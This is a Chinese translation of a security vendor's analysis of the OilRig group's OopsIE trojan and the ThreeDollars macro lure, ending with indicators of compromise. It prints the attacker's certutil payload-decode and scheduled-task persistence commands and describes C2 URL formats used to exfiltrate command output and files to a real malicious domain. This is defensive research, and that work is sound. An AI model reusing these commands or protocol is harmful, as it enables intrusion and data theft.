新型木马OopsIE分析:伊朗黑客组织OilRig利用ThreeDollars传播

 

前言

近期,伊朗黑客组织OilRig非常活跃,不断发起攻击活动,同时也在继续扩展其开发的工具集。2018年1月8日,Unit 42安全团队发现OilRig组织对中东的一家保险机构发起了攻击。而就在一个多星期之后,2018年1月16日,Unit 42再次发现了该组织对中东金融机构的攻击行为。在这两次攻击之中,OilRig使用了一款新型特洛伊木马病毒,该木马被命名为OopsIE。
在1月8日发起的攻击中,他们使用了ThreeDollar载体文档的一个变种。根据2017年8月我们监测到的攻击,我们确定该变种属于OilRig工具集的一部分。
然而,1月16日发起的攻击中,则完全没有使用到ThreeDollar相关的载体。相反,此次攻击很可能借助鱼叉式网络钓鱼的方式,通过电子邮件中的链接直接诱导用户下载OopsIE特洛伊木马,从而被感染。有趣的是,1月16日袭击事件中的目标正是2017年1月OilRig黑客组织攻击过的目标,这次重复的攻击可能说明黑客已经失去了对该目标的控制,或者说明该目标被黑客认定为高价值目标。

 

一种全新的攻击方式

2018年1月8日,OilRig黑客组织向中东的一家保险机构发送了一封电子邮件,标题为”贝鲁特保险研讨会邀请函”。OilRig在6分钟的时间之内向同一机构的两个不同电子邮件地址发送了邮件,说明他们正在向特定目标的特定区域分支机构发动攻击。
这两封电子邮件都来自于同一地址,该地址属于黎巴嫩,与全球的许多主要金融机构存在关联。但根据捕获到的会话数据,我们认为该电子邮件的源地址很可能被伪造。该电子邮件中,包含一个名为Seminar-Invitation.doc(研讨会邀请函.doc)的附件,该附件是一个恶意的Microsoft Word文档,我们认为该文档属于ThreeDollars。经过检查,该文档包含一个新的有效载荷,我们将其命名为OopsIE。
在2018年1月16日的攻击中,我们发现OilRig攻击了他们曾于2017年1月攻击过的组织。此次与之前攻击的不同之处在于,这次并没有使用ThreeDollars作为载体,而是尝试直接通过电子邮件中的链接诱导用户访问并下载OopsIE特洛伊木马。该木马会直接从OopsIE的C&C服务器下载,同时该服务器也用于攻击中的其他不同阶段。我们认为,在2017年1月的攻击发生后,目标机构已经采取了一定的安全防护措施,来应对已知的OilRig TTP(战术、技术、过程)攻击。在这种情况下,OilRig采用了不同的策略来发放承载恶意宏文件的文档。
另外,我们还确认了2017年1月15日创建的另一个ThreeDollars样本,其文件名为strategy preparation.dot(策略准备.dot)。尽管该样本与Seminar-Invitation.doc样本非常相似,但也存在着一些显著的差异。主要区别在于,该文档已加密并受密码保护,要求目标用户输入可能由攻击者提供的密码,之后才能查看文档。这并不是一个新的方式,但我们是第一次发现OilRig使用这样的方式。通常情况下,受密码保护的文档会被攻击者作为一种规避策略,用来绕过反病毒软件的自动分析机制,原因在于只有在输入正确密码后文档中的内容才可以成功执行。随着时间的推移,OilRig已经在逐步尝试使用一些成熟的反检测策略。

 

ThreeDollars文档分析

在这些攻击中我们所收集到的ThreeDollars样本,在结构上非常类似于我们在2017年10月分析的第一个样本,会显示一个伪装的提示图片,诱骗收件人点击”启用内容”按钮,以执行其中的恶意宏。我们进行了文件的哈希值验证,在2018年1月攻击中所使用的图片与此前的图片完全相同。
下图图左展现了我们从最新的攻击样本中提取的伪装图片,图右为2017年10月第一个样本中的伪装图片。尽管攻击的方式不断在发生变化,但诱导用户启用宏的图片却是非常相似的。


从表面上来看,我们可以发现图片非常相似,但却还有一些明显的差异。举例来说,2017年8月攻击中所使用的图片明显更大,其分辨率为3508×4961像素,也就是300dpi的A3纸张分辨率。此外,其中还包含一些其他的元素,比如微软Logo以及一些文本内容,特别是”against unauthorized use(防止未经授权的使用)”。相比之下,最新的伪装提示图片的像素较低,并且存在水平失真的情况。此外”This document is protected(本文档受到保护)”之后的文字未与上面对齐。
通过叠加这两幅图片,再考虑到新图片的失真问题,我们认为新图片极有可能是2017年8月的图片经过剪裁和编辑后形成的。


此外,两个图片中所使用的颜色RGB也完全一样,均为#da3b01。新图片的尺寸大约是旧图片的40%,这表明在剪裁和编辑后,编辑者可能也调整了图像的大小。其中更值得注意的一点是,在”against(防止)”一词中,”st”两个字符使用了连字符(Unicode uFB06),这是一个非常罕见的字符,无法通过标准布局的键盘中直接输入。该字符的存在可能说明该文字是由机器生成的,并不是直接从键盘输入,也可能说明该图片的编辑者并非以英语为母语。

 

恶意宏分析

当目标用户打开ThreeDollars文档时,他们会看到伪装的提示图片,图片提示用户点击”启用内容”按钮。如果用户点击该按钮,文档中包含的恶意宏将会运行,并在系统中执行一个有效载荷。同时,该提示图片也大大降低了目标用户对文档的怀疑程度。在最终,文档并没有向目标用户展现一个”保险研讨会邀请函”的内容,而是会弹出一个”NullRefrencedException! error has occurred in user32.dll by 0x32ef2121”的伪造错误提示,如下图所示。


在显示上图内容的同时,宏会在文档中搜索定界符”###$$$”,并将该定界符后面的Base64编码文本内容写入到%APPDATA%Base.txt文件中。随后,宏会创建一个名为SecurityAssist的计划任务,该任务在1分钟后自动运行。SecurityAssist任务负责运行以下命令行命令,该命令使用Certutil应用程序来解码Base.txt文件中的Base64编码数据,并将解码后的数据保存到%PROGRAMDATA%IntelSecurityAssistManager.exe文件之中:
cmd.exe /c Certutil -decode %appdata%Base.txt %programdata%IntelSecurityAssistManager.exe & SchTasks /Delete /F /TN SecurityAssist
此外,该宏还创建了第二个计划任务,名为Conhost,该任务在2分钟后自动运行位于%APPDATA%chkSrv.vbs的VBS,同时,会将chkSrv.vbs保存到系统中,该VBS负责运行有效载荷IntelSecurityAssistManager.exe(OopsIE木马),并且会删除上述两个任务计划、Base.txt文件、ThreeDollars文档以及chkSrv.vbs脚本。

 

OopsIE木马分析

在这些攻击中发现的OopsIE特洛伊木马被包装在SmartAssembly中,并且通过ConfuserEx v1.0.0进行了混淆。如果想要在系统上持续运行,该木马首先需要创建一个VBScript文件SpecialFolder.CommonApplicationDatasrvResesponded.vbs,其中包含:
CreateObject(“WScript.Shell”).Run(“%app%”)
该木马使用上述VBScript中的%app%字符串替换其可执行文件的路径。最后,使用srvResesponded.vbs的路径替换%path%字符串,并创建一个计划任务,每三分钟在命令提示符中运行如下命令:
SchTasks /Create /SC MINUTE /MO 3 /TN “InetlSecurityAssistManager” /TR “wscript %path%” /f
该木马使用HTTP协议与C&C服务器进行通信,特别是在被称为Interop.SHDocVw的嵌入式Microsoft .NET Framework程序集内使用了Internet Explorer的应用程序对象。该木马通过连接两个名为S1和S2的资源内容,来提取并加载该嵌入式程序集,并使用GZipSteam类对得到的数据进行解压缩。生成的Interop.SHDocVw.NET程序集与SmartAssembly共同打包,并使用Confuser v1.9.0.0进一步混淆。构建嵌入式程序集的资源连接并不是OilRig组织所研发的新技术,他们在2017年10月的ISMInjector工具中就使用过这一技术来构建嵌入式库Joiner.dll和Inner.dll。
由于使用了Internet Explorer应用程序对象,因此所有与C&C相关的请求看起来都像是来自于合法的浏览器,这样就不会在请求中包含任何异常字段,比如自定义用户代理(Custom User-Agents)。OopsIE木马会使用以下的C&C服务器:
www.msoffice365cdn[.]com
该特洛伊木马会构建特定的URL,用来与C&C服务器进行通信,并解析C&C服务器的相应内容,查找标签<pre>与</pre>之间的内容。初始的HTTP请求会作为信标,如下图所示。


从上面的请求中可以看出,该木马程序会生成一个如下所示的URL作为信标:
http://<c2 domain>/chk?<hex(Environment.UserName/Environment.MachineName)>
该木马会发出一个到该URL的请求以进行检查(因此URL中含有chk字符串),该检查是用于查询C&C服务器上是否存在需要让木马执行的命令。如果存在,C&C服务器会通过回显<hex(Environment.UserName/Environment.MachineName)>值的方式来响应木马的请求。如果不存在,特洛伊木马就会在SpecialFolder.CommonApplicationData文件夹中创建一个名为srvCheckresponded.tmp的文件,并在退出之前不写入任何内容。
如果C&C服务器在响应中给出了特定的回显数据,则木马接下来会尝试向以下URL发出请求来确定C&C服务器希望运行的命令:
http://<c2 domain>/what?<hex(Environment.UserName/Environment.MachineName)>
在发出命令之后,木马将会解析C&C的响应中是否存在Oops,如果存在,木马会认为C&C服务器已经出现了错误并会退出。否则,服务器将以一个命令来响应,后面紧接着一组参数,以分隔符<>来分隔:
[command]<>[parameters for command in hexadecimal format]
可用的命令如下:
1 — 运行命令;
2 — 上传文件;
3 — 下载指定的文件。
每个命令的参数都以十六进制的格式表示,例如字符A将以41表示。在木马中,大部分都会使用十六进制。
运行命令(1)会使用附加的命令参数创建进程cmd.exe /c,并且将该命令的执行结果以十六进制格式写入到%APPDATA%tmpCa.vbs文件中。然后,木马会以1500字节块的形式读取该文件的十六进制格式内容,并通过HTTP GET请求将该文件逐块(以1500字节为单位)发送到C&C服务器,结果如下:
http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(command prompt output)>
上传命令(2)会将C&C提供的数据写入制定的文件中。此命令所包含的参数包括二进制数据的十六进制值和文件名,二者以(!)的分隔符进行分隔。该木马会通过发送一个如下结构的URL来向C&C服务器发送响应,以通知其成功上传:
http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(“File Uploaded”)>
下载命令(3)会读取指定文件的内容,并将数据发送到C&C服务器。如果该文件不存在,木马回向C&C服务器发送<File Not Found>消息,其URL如下:
http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(“< File Not Found >”)>
如果文件存在,木马会读取文件的内容,并使用GZipStream类来压缩文件内容。随后,木马将获取压缩数据的十六进制值,并用ASCII字符替换以下十六进制值,以此来进一步压缩数据:

随后,木马会以1500字节为单位,以十六进制的格式将数据写入到SpecialFolder.CommonApplicationData文件夹中的临时文件中,文件命名规则为:<day><hour><second><millisecond>.tmp。
随后,木马将从这个临时文件中逐个读取,并通过构建URL的方式向C&C服务器发送请求,其结构如下:
http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>ABZ<hex(1500 characters of hexadecimal formatted file contents)>
一旦临时文件中所有数据都发送完毕后,木马会向C&C服务器发送一个请求,通知其数据已经成功通过URL传输,结构如下:
http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>ABZFinish

 

如何确认该木马是由OilRig组织发布的

自2016年5月以来,我们就一直在监控并不断发现OilRig黑客组织相关的各种攻击行为和所使用的工具。我们发现,该组织的新工具会重复使用此前已经有的基础工具和组件。这是一种非常常见的行为,攻击者往往会重复使用某些策略或技术,这样就可以提高效率,同时减少工作量。
在上述攻击过程中,我们观察到该组织使用了此前未曾使用过的C&C域名来下发新的有效载荷。但随着我们的继续调查,就发现了该木马与OilRig组织存在的联系。最明显的一个证据就是使用了ThreeDollars承载恶意文件。此前,我们还发现了该组织会使用不同的有效载荷。除此之外,我们还发现C&C域名msoffice365cdn[.]com与OilRig组织有关。
首先,通过WHOIS记录,我们看到注册该域名的电子邮件地址emilia.jones@mail.ru 。经过继续搜索,我们发现该电子邮件地址还注册过office365-management[.]com这个域名,该域名在2017年10月已被确定作为OilRig的C&C服务器使用。另外,WHOIS记录中还出现了一个不寻常的电话号码,该电话号码还被用于注册另一个office365-technical[.]info,该域名注册者邮箱为leonard.horner@mail.ru。根据域名、邮箱和电话号码的关联关系,我们有充分的理由相信该C&C域名和注册者都属于OilRig组织。
此外,msoffice365cdn[.]com的IP解析为80[.]82.79.221,位于与office365-technical[.]info相同的C类网络范围内。另外,我们还发现80[.]82.79.221与少量其他IP地址共同使用同一个SSL证书,其中的一个IP是185[.]162.235.29。该IP对应的域名是由emilia.jones@mail.ru注册的office365-management[.]com。另外,通过对185[.]162.235.0/24的调查表明,该网段中的另一个IP对应着2017年已确认OilRig所有的域名msoffice-cdn[.]com。
最后,我们检查了文档本身。尽管已经确认该文档是ThreeDollars工具的变体,并分析了其中的伪装提示图片,但还存在其他的证据证明该文档与OilRig组织相关。该文档的作者名称为J-Win-7-32-Vm,与在 2017年8月收集的一个ThreeDollars早期样本的作者完全相同。

 

总结

OilRig黑客组织仍然持续活跃,并且主要针对中东地区发起攻击。该组织所使用的工具和策略不断在更新中,同时也会重复使用此前的一些攻击方式或组件。目前,我们已经捕获到该组织所使用的大量工具,可以说每个工具都是基于过去所使用工具的变体。然而,随着时间的推移,这些工具所产生的效果会越来越差,我们也已经将这一系列工具结合在一起进行分析,以推断出OilRig组织所掌握的技术和能力。

 

IoC

ThreeDollars SHA256:
ec3f55cac3e8257d6d48e5d543db758fed7d267f14f63a6a5d98ba7a0fab6870
81eb43ad46ed39bd4b869c709e5e468a6fc714485da288aaa77c80291ce6db8c
OopsIE SHA256:
9a040cdd7c9fcde337b2c3daa2a7208e225735747dd1366e6c0fcbc56815a07f
231115a614c99e8ddade4cf4c88472bd3801c5c289595fc068e51b77c2c8563f
OopsIE C&C域名:
www.msoffice365cdn[.]com
相关恶意域名及IP:
office365-management[.]com
office365-technical[.]info
msoffice-cdn[.]com
80[.]82.79.221
80[.]82.79.240
185[.]162.235.29
(完)